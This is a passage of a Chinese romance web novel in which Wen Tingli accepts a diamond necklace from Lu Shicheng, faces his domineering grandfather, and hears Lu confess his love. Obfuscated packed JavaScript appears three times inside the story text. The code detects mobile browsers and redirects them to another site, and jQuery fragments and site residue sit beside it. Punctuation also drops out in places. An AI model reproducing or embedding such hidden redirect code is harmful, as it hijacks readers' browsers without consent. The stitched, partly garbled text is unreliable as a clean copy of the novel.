两个人都定了定神陆世澄再次把盒子稳稳当当地送到她手里。 这回闻亭丽 没有再问那是什么,她直接就着他的手打开包装袋。 当眼底浮现一抹粉红晶亮的珠宝光芒时,她整个人呆住了。 那是一条美丽得让人无法呼吸的粉钻项链。 坠子约莫有两个大指甲盖加一起那么大,旁边镶满了钻石,宝石体是一种罕见的,晶莹剔透的粉色,宝光闪闪流动,让人心中一惊。 项链被装在一个流光溢彩的粉色珠贝首饰盒里,盒子上面用金色烫着“卡蒂埃的字样,她知道这个举世闻名的珠宝牌子。 她的心跳得要从嗓子眼里蹦出来,错愕抬眸看向陆世澄,他正一瞬不瞬观察她的反应,尽管他看上去是那样沉着,但眉眼处的细微波动还是出卖了他,他分明很在意她的反应。 闻亭丽情不自禁捂着胸口甜笑起来,这样冷静的人也会有不够冷静的时候, “我得好好想想要不要收这礼物。 陆世澄不禁低头一笑,闻亭丽挪到他的右边时,他也随着转头看向自己的右边,待她走到他背后时,他也不紧不慢转过身。 他的视线就没有从闻亭丽身上离开过哪怕一秒。 走着走着,闻亭丽无意间发现了书架上有一样很眼熟的东西,那是——那是她前不久送他的小猫绣屏,摆在一个很显眼的位置,这样,他在书桌后办公时,一抬头就能跟绣屏上的猫眼对视。 她心里像吃了一颗糖,一下子变得又甜又踏实,回身对准陆世澄,很隆重地发问:“陆先生,在我回答你之前,你得先正式回答我一个问题。 陆世澄俨然早已猜到她要问什么,清亮的眼波里泛起了细小的涟漪,就那样牢牢凝视着她,闻亭丽没有回避他的注视,反而勇敢地朝他走近几步。 他的呼吸很灼热,轻轻拂到她的额头上,令人生出一种微麻的战栗,她眼里起了迷醉的荡漾,低低地问他:“那一晚你究竟有没有来找我?来的话,又想对我说些什么? 陆世澄望着她的目光愈发黯沉,喉结动了动,指指自己的心口。 忽听门外喝道:“谁在里面? 闻亭丽脚下一崴。 那是一把苍老的嗓音,语调又冷又锐,犹 如一把带着寒光的刀。关键声音是从书房那扇暗门外传来的,照理说寻常客人不会经过那么隐秘的通道。 陆世澄伸手扶稳闻亭丽,面色却早已沉了下来。 外头响起了一阵急促的脚步声:“老太爷,您今晚不是要在北平——晚辈该死,晚辈刚才忙着送邹校长回去,没能——” 老者毫不留情打断邝志林:“谁在世澄的书房里?怎么听着像是女子的声音。” 邝志林忙不迭笑道:“澄少爷一个单身汉,他的书房里怎会有女子?今晚的客人实在是多,声音没准是从花厅里传来的。” “开门!”老者显然已经习惯了发号施令。 闻亭丽紧张地看向陆世澄,她已经猜到门外那人是谁了,陆世澄的祖父,陆家的第二代传人,陆鸿隽老先生。 她是从不畏惧与人打交道的,但不知为什么,这位陆家老太爷的声音冷到让她犯怵。 正不知如何是好,陆世澄早已将她拉到了自己身后,闻亭丽的心骤然踏实下来,陆世澄的背影比她想象中还要挺拔,像是能抵御一切风雨的样子。 门开了,一个高大的人影拄着拐杖跨了进来。老人这一亮相,便给人一种泰山压顶的威迫感,年纪至少有六十岁了,但他的身板仍像年轻人一样板正,没有穿洋服,而是着一件深青色中式长衫,面料薄而光润,尺寸也极合身。 闻亭丽从小在服装店长大,深知长衫要做到这种程度有多不容易,单看这通身一丝不苟的细节,便隐约体会到了一种近乎病态的严苛。 老人似乎也不大喜欢西洋化的配饰——礼帽、手表、打簧表一件也没有,仅在拇指上戴着一枚绿莹莹的翡翠扳指,闻亭丽第一次看到有人戴这样硕大的戒指而不显得轻浮,仿佛那一抹浓得化不开的绿,天生就该长在老先生的指节上一般。 与此同时,她在心里暗暗对比这祖孙俩的长相,陆世澄与陆老先生并不太相像,陆世澄身上自有一种温和沉静的气度,陆老先生的五官却更粗犷,气质也偏于冷硬。 这时候,她感觉一道视线朝自己射来,老人在盯着她看,目光尖锐得活像两把锥子。 好在老人看过这两眼之后并未发难,反而颇有绅士风度向闻亭丽点点头。“澄儿,这是你的朋友?” 陆世澄 只是例行公事一般向祖父点点头便旁若无人护着闻亭丽出去。 闻亭丽趁机仓促地鞠了一躬:“陆老先生再见。” “站住!”陆老太爷喝道。 陆世澄置若罔闻很显然现在的陆家由陆世澄说了算。 陆老太爷眉峰一耸厉目追随着陆世澄:“你眼里究竟还有没有我这个祖父?” 他捂着胸口急剧地喘了起来邝志林等人赶忙把老先生扶在了旁边的椅子上谁知老先生挡开身后人的手一指闻亭丽说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589331|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“她姓闻对不对?” 陆世澄脚步一顿横眉扫向陆老先生陆老太爷示意下人把门关上随后他接过下人递来的手帕擦擦嘴角沉毅地说:“前一阵秋华公司无端陷入舆论风波起因就是为了帮这位闻小姐解围。喜俪梨汁好端端要找人拍广告找的也是这位闻小姐 他瞥瞥闻亭丽语调突然和软了几分。 “闻小姐你请坐——给闻小姐奉茶。”随从们立即下去准备茶具。 闻亭丽走也不是留也不是只得硬着头皮坐在一张椅子上。 “谢谢陆老先生。” “听说你祖籍南京之前在秀德女子中学念书?” 闻亭丽浑身血液似被抽光她无法形容这一瞬的惊怖感像是突然被人撕掉了所有的外衣浑身再无遮挡她赤条条地一个人站在当地被四面八方射来的毒箭般的目光一遍一遍鞭笞着。 当初在乔家受辱的那一幕再次闯进她脑海。她几乎可以想象接下来将面临的一系列羞辱! 可她早就发誓绝不会再让任何人肆意践踏她和家人的尊严! 她倏地起身对陆老先生鞠了个躬一言不发向外走。 陆老太爷厌倦而冷漠地说:“送客。” 闻亭丽急走两步脚下突然一拐原来左脚的皮鞋鞋跟断了料着是先前听到门外陆老先生的声音时受惊崴脚所致但她已然顾不上这些了继续踩着断鞋跟向外走余光注意到陆世澄朝自己追过来非但没有停下自己的步伐反而埋头走得更快了。 正好随从们从外面端茶过来与闻亭丽撞了个正着双方都来不及收住脚步一杯滚烫的茶眼看就要泼闻亭丽一身这时有人刚好将闻亭丽向后 一拽,茶水就全泼到了这人的胳膊上。 “啪!茶杯在闻亭丽脚下碎了一地。 闻亭丽脸色一变:“陆先生! 陆世澄却顾不上打量自己的胳膊,只忙着察看闻亭丽的脚有没有被茶盏的碎片割到,今晚她穿着一双露脚背的皮鞋,洋裙底下则是一双光溜溜的小腿。 “别光顾着看我呀。闻亭丽急得跺脚,“当心烫坏了,快、快把衣裳脱下来。 陆世澄似乎这才感觉到烫,火速脱下自己的外套,邝志林等人蜂拥上来帮忙,很快帮着陆世澄解开里面的衬衣袖口,把袖子往上一捋,还好,皮肤只有一点点发红,显然并无大碍。 邝志林仍急声催人去拿冰块和药水。 闻亭丽红着眼圈注视陆世澄的胳膊,前一刻,乔家带给她的那段噩梦般的经历占据了她全部的思想,她什么念头也没有,一心想离开这地方,可或许,在经历了这么多事之后,她可以试着相信陆世澄一次。 她心里千头万绪,一时竟忘了把手收回来,陆世澄眼神里有着体谅和疼惜,任由她攥着自己的胳膊不放。 陆老先生面庞上早笼上一层寒霜。“把路易斯大夫请来给世澄瞧瞧。这位闻小姐既然无大碍,立即将她送出府去。 说罢继续用目光牢牢控制住陆世澄,口吻却慈爱了几分:“也罢……此前祖父一直把你当成孩子,却忘了你也满二十了……今晚娄家、陈家的人也在,这两府的女儿素有教养,我让人把她们请过来,借着今晚这个机会,你们互相见见面。 陆世澄俨然到了忍耐的边缘,阴着脸推开管事为他取来的新外套。 【我得送闻小姐回家。】 他蹲下去察看闻亭丽脚上的坏皮鞋,随即起身,把自己未烫伤的那只胳膊送到闻亭丽面前,示意闻亭丽扶着自己。这动作像绅士邀请女伴跳舞一样,既礼貌又得体。 闻亭丽感觉到身侧方向投来的严厉目光,但是这一次,她不假思索把自己的手搭了上去。 陆世澄望着她笑了起来,这一笑像冰雪初融,让整个屋子都亮堂几分。 闻亭丽仰头与他相视而笑。 陆老先生铁青着脸喝道:“世澄! 陆世澄早牵着闻亭丽向外走了,他走得很慢,很稳,以保证闻 亭丽脚下不会乱晃走到门口时闻亭丽略一犹豫回头对陆老先生深深鞠了一躬。 “多谢陆老先生的款待。” 邝志林追出来将药瓶塞到闻亭丽的手里。 刚到大厅高筱文和燕珍珍围上来:“这是怎么了?” 闻亭丽不知如何解释邝志林在旁说:“刚才陆小先生在花园邀闻小姐跳舞时一不小心踩坏了闻小姐的皮鞋为了赔罪他得亲自送闻小姐回家。” 又高声对厅里的宾客们笑道:“诸位见谅陆小先生恐怕得失陪片刻了。” 众宾客暧昧互望踩坏人家的鞋当场赔一双就好了一双不够那就赔十双何必亲自送人家回家可见这位闻小姐在陆世澄心目中的地位相当特殊。 以陆家在沪上的影响力这实在不能不算是一桩大新闻客人们神色各异有错愕的有好奇的有盯着闻亭丽上下扫视的。 面对众人的目光陆世澄像往常一样沉稳自如倒是闻亭丽有些不好意思。她在人群中看到了黄远山和董沁芳二人正冲她眨眼睛黄远山身边还站着一位神情趣怪的短发圆脸女士这人刚才一直在好奇地打量她。闻亭丽从未见过这女子 很快到了门外陆家的汽车已经在台阶下候着了。 *** 到家已是十一点多。 小桃子早睡了周嫂在厕所里用毛巾擦脸听到门口的动静把头探出来。 “回来啦。” 忽瞧见闻亭丽身边站着个年轻男子周嫂的双眼顿时瞪得老大。 “陆公子!” 陆世澄冲周嫂礼貌颔首周嫂结结巴巴说不出话来忽又看到闻亭丽左手提着一个海棠红的锦盒表情更疑惑了。 “周嫂你先帮陆先生沏茶。”闻亭丽欢快地说扶着陆世澄的胳膊脱掉自己脚上那双坏鞋又从鞋架上取下平日在家穿的葵绿色软鞋换上扭头愉悦地对陆世澄说“我进屋放下东西你在客厅等我。” 作者有话要说 第 49 章 月下。 第49章月下。 闻亭丽到自己的房间把东西放下,出来一看,陆世澄仍在门口安安静静站着。 她笑了,赶忙把陆世澄拖到桌边,随手拧开邝志林给她的那瓶药水:“快让我看看你的胳膊。” 【车上不是已经涂过药了?】 尽管如此,陆世澄还是立刻撸高自己的衬衣袖口给她看。 闻亭丽果然心疼得不得了,仔仔细细为他抹药:“我听说烫伤跟别的伤口不一样,热气是一点点往皮肤里层渗的,今晚若是不多抹几回药,明天很可能会起水泡。” 周嫂端茶出来看见这一幕,目光顿时变得意味深长,噙着笑意问:“陆先生这是怎么了?” “他被茶水烫伤了。” “哎哟,烫伤光敷洋药不管用的!得用凉水冲,你先别忙,省得越弄越糟糕,我到后头的井里打点水来。” 闻亭丽不敢再继续擦药了,陆世澄却不认为有必要兴师动众,起身想要阻止周嫂,闻亭丽将他拦住:“周嫂说得有道理,井水比自来水要凉,敷一敷好得快些。” 周嫂早提着铁皮桶一阵风似的出去了。 这一来,客厅里又只剩下闻亭丽和陆世澄两个人。 闻亭丽看看陆世澄,尽管他不是第一次来了,但上次他是在一种昏迷的状态下被她和厉成英抬进来的,而今晚,他却是清醒地同她面对着面坐在她家的客厅里。 她有点无所适从,故而比平日要安静许多。 陆世澄好奇等她一回,见她没有开腔的意思,便随手端起手边的茶杯,望着她喝了一口,继而转头打量客厅。 他看得很仔细,仿佛要重新将屋子里的每个角落都好好地看一看。 闻亭丽随着他的目光左右乱扫,为了省电,客厅上方只悬着一盏五十支的电灯泡,不像陆公馆,每个厅堂都悬挂着硕大的水晶吊灯,当然,这里也没有陆公馆那些随处可见的玫瑰、百合和郁金香,甚至整个空间都找不到几个像样的花瓶。 陆世澄却很喜欢这里的一切,他看到茶几上摆着一个插花的容器,多半是她用小桃子喝剩的牛奶瓶做的,样式独特又实用。 不只这个花瓶,她家里每一个地方都布置得相当雅致,沙发面上 套着新做的豆蔻绿布套窗帘也用的同一色配上素色的家具非但不俗反而有一种清新可爱的氛围。 报纸被整整齐齐收在茶几旁的书柜上就连小桃子的玩具都有专门的木架。东西多却丝毫不杂乱。 这地方每一个角落都是那样温馨可爱不像陆公馆冷冰冰的没有一丝人气。 他就那样一直看一直想看得闻亭丽有点不好意思了。 “我去给你拿点吃的。” 她闪身进了厨房很快便捧着一碟糖糕出来这回陆世澄没再继续打量客厅了可是他又开始对着手上那只茶碗研究起来。 闻亭丽不觉一笑这个人今晚怎么像小桃子一样对她的一切都充满好奇她上前为他做介绍: “漂亮吧?这杯子是我几年前在一个俄国老师那里买的他是秀德女子中学特聘的外国教授本是俄国贵族因为不容于新政府才被迫流亡到国外这都是他家族里收藏的皇家瓷器平日轻易不拿出来换钱的看我实在喜欢才忍痛割爱这杯子只卖我两块大洋是不是很划算?你瞧底下还有沙皇赐给我那老师的家族封号。” 她兴致勃勃把茶碟翻过来给陆世澄看底下的那行俄文。 陆世澄一看见那行字便微微一笑。 闻亭丽只当他跟自己一样不认识俄文便自发念给他听。 “尊敬的伊万诺夫公爵沙皇尼古拉二世赐予你尊贵无上的荣耀。” 听见闻亭丽这翻译陆世澄的微笑变成了低头闷笑越笑越止不住。 闻亭丽不由一头雾水:“怎么了?” 陆世澄忍住笑把茶水倒了点在桌上一笔一画写起来。 【圣彼得堡约瑟芬瓷器作坊两卢布一枚。】 闻亭丽呆住。 “你是说这行字其实是这个意思?” 陆世澄颔首。 闻亭丽气个倒仰。 “这骗子!我要写信到秀德揭发他!” 她赌气要将杯子扔到簸箕里陆世澄忙拦住她。 【这一扔你那两块大洋可就一点渣都不剩了。】 闻亭丽悻悻然把杯子放回桌上那一年她才十五岁年少幼稚看什么都新鲜。 再看陆世澄他的脸上居然还有笑影 她瞪他一会,自己忍不住也笑起来。 陆世澄从上衣口袋里取出她送他的那支笔在本子上写了一行字递给她。 “这是什么? 【俄语里的数字一到数字十。】 闻亭丽心里怦然一动。 陆世澄用极慢的速度又写一遍。 闻亭丽咬唇微笑:“只有这几个数字么?对付骗子好像不太够用。‘把钱还给我’怎么写? 陆世澄写给她看。 “老匹夫怎么说?‘老匹夫,把钱还给我‘!’闻亭丽越说越兴奋,“还有‘不要脸’,‘不要脸’怎么说。 其实陆世澄也只会一些基本的俄语,写着写着,就统一用俄语里的“傻瓜或是“骗子来教她,闻亭丽全程笑个不停,每学一句,仿佛对着骗子亲自骂了一顿似的,要多痛快就有多痛快。 不知不觉心里的那团火都散光了,她舒舒坦坦地叹口气:“我不骂人了,我要学别的话。‘闻小姐最美丽最真诚最可爱’这句话怎么写? 陆世澄抬睛瞧她,闻亭丽耳根有点发烫。 每当陆世澄这样不动声色看人时,眼睛里就像有个黑色的磁石牢牢把人吸住。 闻亭丽故意把脸转向另一边,余光看见他再次提笔,忙将手盖在自己的眼睛上面,过了会,她慢吞吞透过手指的缝隙悄悄往下瞄,蹦入眼帘的竟有三行字。 上面一行是她要求他写的那句俄文,字迹异常工整漂亮。 底下却是一行中国字。 【那天晚上我去陶陶居找你,可惜半路遭人暗算,所以没能赶到。】 闻亭丽缓缓将手从脸上拿下来,她的表情完全是静止的,但谁都看得出她整张脸都在发亮。 这件事上她相当固执,真等看到答案的这一刻,那种惊讶和快乐几乎不能用言语来形容。 他赴了约,在她还没救过他的命之前,他就赶去陶陶居赴她的约。 在最底下,却是最简短的四个字。 【我喜欢你。】 她的心啵啵直跳,周围的一切仿瞬间消失了,整个视野只剩下这句话,几个字老是在纸上跳来跳去,搞得她眼也花、头也晕。 凝望半晌,又怔怔移目看向他用俄文写下的“闻小姐最美丽最真诚最可爱 以及中间那行“陶陶居”的字样,来来回回地扫视。 望到最后,她不由得捧着自己发热的脸颊笑起来。 他真是甜极了,也真诚极了。 这滋味就像小时候偷吃过的一包洋白糖,不掺杂一丝酸味和涩味,只是纯纯正正的甜。用“甜”来描述一个男子似乎不大妥当,但现在她想不到别的话来形容陆世澄。现在的陆世澄就像一颗糖果,无声地散发着清甜的香味。 她有点坐不住了,对着面前的“糖果”说。 “你等我一会。” “糖果”看着她,点点头。 闻亭丽的心情就像春天的风筝,扑棱棱飞起来,回屋从衣柜里翻出一个小盒子,打开,里面是一沓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆世澄低眉看看自己烫伤的那只胳膊,又抬眼,心照不宣地对她点点头。 但他仍不走,只是在台阶上仰望着她。 闻亭丽心中一动,对他做了个“你等等我的手势,转身回到梳妆台,将那瑰丽的粉红珐琅梳妆盒轻轻打开。 换作从前,她绝不可能从任何一个人的手里收下这样昂贵的一份礼物,但今晚,一切都不一样了,她从首饰盒里取出那条项链,小心翼翼对着镜子戴上,然后,走到窗台前将自己的上半身探出去,给他看。 陆世澄的视线却没有在那串宝光璀璨的项链上面停留,而是缓缓上移,落在她的脸上。 她到底知不知道,再漂亮的珠宝,也远不及她本人万分之一美丽灿烂,月光下,她美得就像一位仙子。 他的心隆隆直跳,她长久地对望着。 这一整晚,他的心房被愉悦和满足两种情绪占满了。 原来这就是沉沦的滋味,但愿时间可以停留,停留在这一无比美妙的瞬间。 也不知过了多久,周嫂也提着灯笼下楼来了。 “陆先生,这地方太黑,当心脚下。 他不得已将自己的视线从她脸上收回来。 楼上,闻亭丽一闪身就缩回去了,只听周嫂在底下絮絮叨叨说着什么,不一会儿,就听到窗外传来汽车远去的声音。 再回到窗前的时候,陆世澄已经走了。 闻亭丽愉悦地注视着巷口的方向,心情怎么也平静不下来,这是一个意义非凡的夜晚,两颗心竟可以靠得那样近,她轻抚着脖子上的项链,低头回味着,在窗前伫立了许久,才缓步回到房间,仰倒在床上,对着天花板甜蜜地笑起来。 作者有话要说 第 50 章 【含加更】心许。 第50章【含加更】心许。 忽然听见外间周嫂开门回来,闻亭丽立即像弹簧一样从床上跳起来。 “陆先生走了?” “嗯。” 闻亭丽走过去帮周嫂放灯笼,腆然发问:“陆先生走的时候又说什么没有?” 周嫂笑道:“就算有什么话,陆先生也不会在那儿对我说不是?” 闻亭丽一声不吭回了屋,又听客厅电话响,忙不迭跑出去。 周嫂已经接起了电话:“陆公馆?找我们小姐?好好好,我马上请她过来听电话。” 闻亭丽心头一热,赶紧夺过话筒,耳边传来邝志林的声音。 “闻小姐好。” 闻亭丽哑然失笑,她刚才怎会误以为是陆世澄打来的,他明明刚走不是。 “邝先生好。”她亲切地说,“您找我有什么事吗?” “冒昧问一句,陆小先生还在闻小姐处吗?” “他走了!”闻亭丽忙说,顿了顿又强调,“他把我送到家就走了。” “我想也是如此。”邝志林立即接话,口吻是毫不怀疑的,旋即又愧然笑道,“只是这边恰有急事要向陆小先生汇报,所以才不得已打电话四处问一问,希望没冒犯到闻小姐。” 闻亭丽有点拘谨,轻声说:“没关系。” 邝志林话锋一转:“其实是陆老太爷要找少爷。” 闻亭丽心中一跳。 邝志林苦笑:“事情到了这一步,有些事实在不宜再瞒着闻小姐,邝某知道,闻小姐对前几日的事情有些误会,实际上,今晚的情形您也瞧见了,我们老太爷他……非常强势,也非常固执。若被他知道陆小先生连日来为闻小姐做了这许多事,一定会对闻小姐生出许多偏见,他老人家想要暗中调查和对付一个人有许多办法,所以那日老太爷一回上海,陆小先生就尽力避免跟闻小姐见面,因为在没有确认闻小姐的心意之前,他不想给你惹来不必要的麻烦。” 说这话的时候,邝志林看不到闻亭丽此刻脸上的笑容,故而只能从闻亭丽的应答里揣摩她是否听懂这番话里的含义,他有意停顿着,突然听见闻亭丽轻轻“嗯”了一句,很笃定的一个字,没有任何迟疑或是别扭的成分。 他瞬间懂了,闻小姐这份通透实在难得,他不禁释然地松口气:“幸而经过今晚,陆小先生就没有这层顾虑了——闻小姐不知道,陆小先生提前为今晚做了多少准备。” 闻亭丽笑靥愈发深,却依旧只是“嗯”。 她想起陆世澄在书房里对她郑重写下“原谅我”的情景。 假如今晚她在陆家对陆世澄说“好”,剩下的事自有他来替她承担,而一旦她今晚对他说“不”,陆世澄也绝不会让她受到陆老太爷方面的骚扰。哪怕是考虑到自己会被拒绝,他也提前把一切都替她打算好了。 在陆世澄身上,从来看不到“不负责任”这四个字。 所以,这些话其实不必等邝志林专门打电话来解释,早在陆家书房看到陆老太爷的态度时她就想明白了。 邝志林仍怀着某种担忧:“老太爷在上海的这些日子,少不了会有些动作,他老人家是……很难缠的,不过不管遇到什么事,闻小姐都不必慌,一切都有陆小先生来应对,闻小姐记一下这两个号码:一个是陆小先生房间的私人专线,另一个是力新银行办公室的电话……有什么事只管……好好,那就不打搅闻小姐休息了。” 邝志林笑容满面对那头道晚安。 然而刚放下话筒,他的眉头就深深地皱起。 “邝先生,澄少爷大概什么时候能回来?”许管事匆匆找到书房,“老太爷的脸色……可是越来越难看了。” 邝志林自顾自从口袋里取出雪茄盒,没接腔。 许管事俨然感觉到了一种暴风雨即将来临的气闷感,焦灼地松松领口,低叹道:“今晚还不知道要闹到什么地步。老太爷历来不喜欢陆家的子弟不按照他的的意思找女朋友,当年在南洋,我可是亲眼见过老太爷是如何针对前头大太太的……折腾了那么久,最后到底弄了个两败俱伤的结局,大太太什么出身?更别提这位市井出身的闻小姐了,我真担心澄少爷应付不来,老先生如今虽然不管事了,但仍在银庄和厂子留有不少心腹……” 邝志林飞快朝许管事瞥去一眼,目光如电。 许管事旋即打住了话头。 房间里出奇的安静,空气中的滞闷感却一点一点加重,只听见那西洋座钟的指针“咯哒咯哒”地走着,在这深夜的陆公馆, 上上下下都笼罩在一层看不见的阴霾里,唯有这座机械化的时间机器不曾受到半点影响,当那冰冷的指针滑到一点钟的刻度时,邝志林蓦然开口了。 “不会的,这孩子比当年的大爷还要强硬且独立,同样的悲剧不会再在陆家上演的。” 说这话时,邝志林的脸上莫名有点悲凄之色,手里夹一根雪茄看着窗外,也不知在想些什么。 忽听外头下人说:“澄少爷回来了。” 二人疾速地迎出去。 陆世澄转眼便走进了前厅,一进来就将外套随手递给身边人,又抬起自己的胳膊看了看,很认真地让人去拿冰块给自己敷。 许管事不禁一愣,往日里别说这样的小伤,即使受再重的伤,澄少爷也是能不兴师动众,就绝不兴师动众。 只这一个照面,他就看出陆世澄心情很不错,眉目舒展,眸色像水一样柔和,这种情绪上的细微差异,只有熟悉陆世澄的人才能一眼瞧得出来,许管事不免暗自捏了把冷汗,澄少爷仿佛浑然不知一场狂风暴雨正等着自己,他忙小声提醒:“澄少爷,老太爷还在后楼的休息室等你呢。” 话音未落,就看见陆世澄身后大门的台阶上又冒出几个人。 最前面是一辆轮椅,上面坐着一个血肉模糊的躯壳——陆三爷,他浑身上下已无一块好肉,兀自蜷缩在轮椅里断断续续地喘息。 可是轮椅旁边并非陆三爷自己的手下,而是陆世澄的亲信周威等人。 被推进大厅后,陆三爷忽然浑身一个激灵,微弱地对着上方嚷起来:“爹!他要杀我!” 可惜他一张嘴,就有大股鲜血从嘴里冒出来,剩下的话一下子全被堵了回去。 陆世澄置若罔闻,不慌不忙接过下人弄来的冰袋在伤口上敷着,自顾自穿过前厅往后楼走去,众人不敢耽搁,呼啦啦推着陆三爷的轮椅跟上。 *** 同一时间,闻亭丽正枕着自己的胳膊,惬意地看着手里的那两串电话号码,这意味着今后她不必绕过任何人就能直接找到陆世澄。 她开心地翻了个身,这会儿陆世澄多半已经到自己家了,他有没有重视自己的伤口?会不会一到家就给她打电话? 这样一想,她满含期待地看向紧闭的房门,旋即又失笑,都一点多 钟了,以陆世澄的性格,绝不肯这么晚打搅她。 偏在这时,房门突然被人在外面敲响了。 “小姐。 闻亭丽诧异莫名。“您怎么还没睡? “我睡不着呀。周嫂进屋第一眼先盯着闻亭丽的面色看了看,第二眼便盯牢了窗边的梳妆盒。 那美丽的珐琅珠贝盒在月光下绽放着温柔的粉色光彩。 “刚才就想问你了,那是陆先生送的?这项链很贵重吧? 闻亭丽二话不说就要把周嫂推出去,周嫂抢先抱住床尾的挡板。 “小姐,小姐,我只问一句话就走,你跟陆先生……是不是在交朋友? 闻亭丽依旧不肯接茬,周嫂忧愁地把闻亭丽拉回到床边坐下,结结巴巴说:“上回我在医院里听人说过,陆家的门第可是十个乔家都比不上的,那万一要是陆家的长辈存心阻挠,也只会比乔家更让人招架不住……你可是势单力孤呀,陆先生他自己怎么说的?可千万别像那像姓乔的后生把脖子一缩就什么都不管了,当初他可是把你害得够惨! “周嫂!闻亭丽断然打断周嫂。 “您去睡吧,我心里都有数。她嗓音放得很柔,眼睛里有一种清澄的亮光。 周嫂张了张嘴。这一刻,她清楚地意识到眼前这个人不再是个小孩子了,那种不露声色的坚定,一下就慑住了她的心神。 最后周嫂是怀着一种半惆怅半欣慰的心情走的。 周嫂走后,闻亭丽大睁着眼睛望着天花板,了无睡意。 周嫂的这些顾虑,正是她先前所担心的,但早在今晚陆世澄在书房为她挡下那杯滚烫茶水的那一刻起,她就决定暂时将这些担忧抛到脑后了。 这绝非只是一时冲动,过去这几个月的经历告诉她,陆世澄跟乔杏初完全是两类人。 犹记得乔杏初打听她母亲情况时是多么伪善,陆世澄却从不曾评价过她母亲在南京做过舞女的那段经历,尽管她清楚他都知道。 他甚至不曾拐弯抹角地探听过一句她 和乔杏初交往的细节,尽管他可以用醋意来掩饰。 他骨子里是正直的、高贵的,每跟他接触一次,她对他的欣赏就更多一点,而欣赏之中,又慢慢滋生了爱慕。 相处至今,不论他们处在一个怎样的关系状态当中,他都不曾让她失望过。 她相信这一次也是。 可是周嫂的话让她再度想起了今晚陆老先生看她的眼神,那是完全不同于乔太太的歇斯底里的另一种冷酷姿态。 无情的、独断的、能压垮一切的。直觉告诉她,陆老先生绝不会就此罢休,陆老先生的手段也远非乔太太可比。 是了,凭陆世澄再强大、再可靠、再有办法,这次面对的是陆家的一族之长。 “小姐,你可是势单力孤呀…… 周嫂的话在她耳边不断回响。 她猝然坐起身,她承认,今晚这梦幻般的美好经历让她整个人像泡在蜜糖里,但再深的甜蜜,也无法抹去那些现实化的问题,它们如同冰冷的刀尖一般插在她脚下的土壤里,拔不出,也碾不平。 除非,陆世澄俯身下去,亲手帮她把这些尖刺都一一拔出,否则到最后刺伤的还是她自己。 可是,他真会为她做到这一步吗?她是不是有点昏头了。 不行,任何时候都不该把自己的后背完全交给一个男人,哪怕这个男人是陆世澄也不行! 她悚然而惊,果断翻身下床,从床底下拖出一个小小的上着锁的半旧皮箱。 里面除了沪江大学前两日寄来的录取通知书,还有一些零散的银票和首饰,以及一份合同。 银票是她这段时日辛辛苦苦攒下来的,足够维持一家人一两年的吃用。 至于那份合同,是当初她和大律师包亚明签订的,那时邓院长刚出事,厉成英她们因为怀疑陆家跟这件事有关,曾请她帮忙暗中调查陆世澄。 她怀着对邓院长的一腔爱戴和感激,毅然答应了此事,包亚明为了让她心无旁骛执行任务,特地拨出两千大洋跟她签订了这份合同,这可是一笔巨款,有了这笔钱,就意味着她有了全身而退的资本。 任务完成之后,她本想立即找包律师兑现这笔款子,但那段时期包律师正忙着保护重伤的邓院长,那种紧要关头她无法因为这样的事去打 搅人家,后来包律师像是接到了更艰巨的任务,这两个月老是不在上海。加上她因为参加比赛和拍广告挣了些钱,也就不急着找包律师了。 何况一直追着去讨钱,就像她是为了这笔钱才去帮忙调查邓院长的事似的。 现在却顾不了这样多了,等包律师一回上海,她就找他兑现这笔款子。 清点完手中的财物,闻亭丽心里踏实了不少。不管明天会发生什么,至少她手里有钱,这全是她亲手挣来的,属于她自己的财物! 上床前,她从抽屉里取出《南国佳人》的剧本,这两天她心思浮荡,也没好好揣摩拍戏的事,这会儿索性沉下心重新细读一遍。 大约是内心重新找回了方向,读着读着就睡着了,然而睡得并不踏实,一会儿梦见乔太太凶横地朝她扑过来,逼她连夜滚出上海。 一会儿看到陆老先生站在一团模模糊糊的黑雾中冷冰冰地看着她。 忽被邱凌云恶狠狠地掐住了喉咙。“原来那天晚上是你放的暗枪?你知不知道你把我的腿打残了?别想跑!你赔我一条命! 他的两只手像铁钳,掐得她喘不过气。 醒来时才五点多,闻亭丽只觉得浑身像脱了力一般。 刚一出屋,周嫂紧张兮兮迎上来。 “外头无缘无故多了一辆洋车。 闻亭丽吃惊地往窗外看去,自从上回陆世澄在此养伤,邝志林就在她的寓所附近安插了一些人马,目的是为了保护她一家人的安全,但他们很懂规矩,平日只在附近街巷远远待着,从不轻易靠近房子。 可是这辆黑色汽车,却肆无忌惮地停在门前的小路上,奇怪的是邝志林的手下分明瞧见了这车,却不曾过来驱逐。 闻亭丽心知这多半是陆老太爷派来的人了,毕竟只有陆老先生的人马才会让邝志林的手下有所顾忌。 她的心开始阵阵发寒。 周嫂白着脸说:“昨天夜里两点钟我上厕所的时候就听见汽车响,我怕小姐害怕,也没敢再去找你。 闻亭丽在窗口张望一阵,回身果断对周嫂说:“我想他们暂时还不会有行动,但还是稳妥些为好,周嫂,你马上收拾你和小桃子的行李,待会你装作出门买菜带小桃子先走,我看看情况再说。 说完便 闪身进屋,不一会儿又匆匆出来给陆世澄打电话。 那边很快就接起:“这里是陆公馆。请问您是哪位? 说更新,记住域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 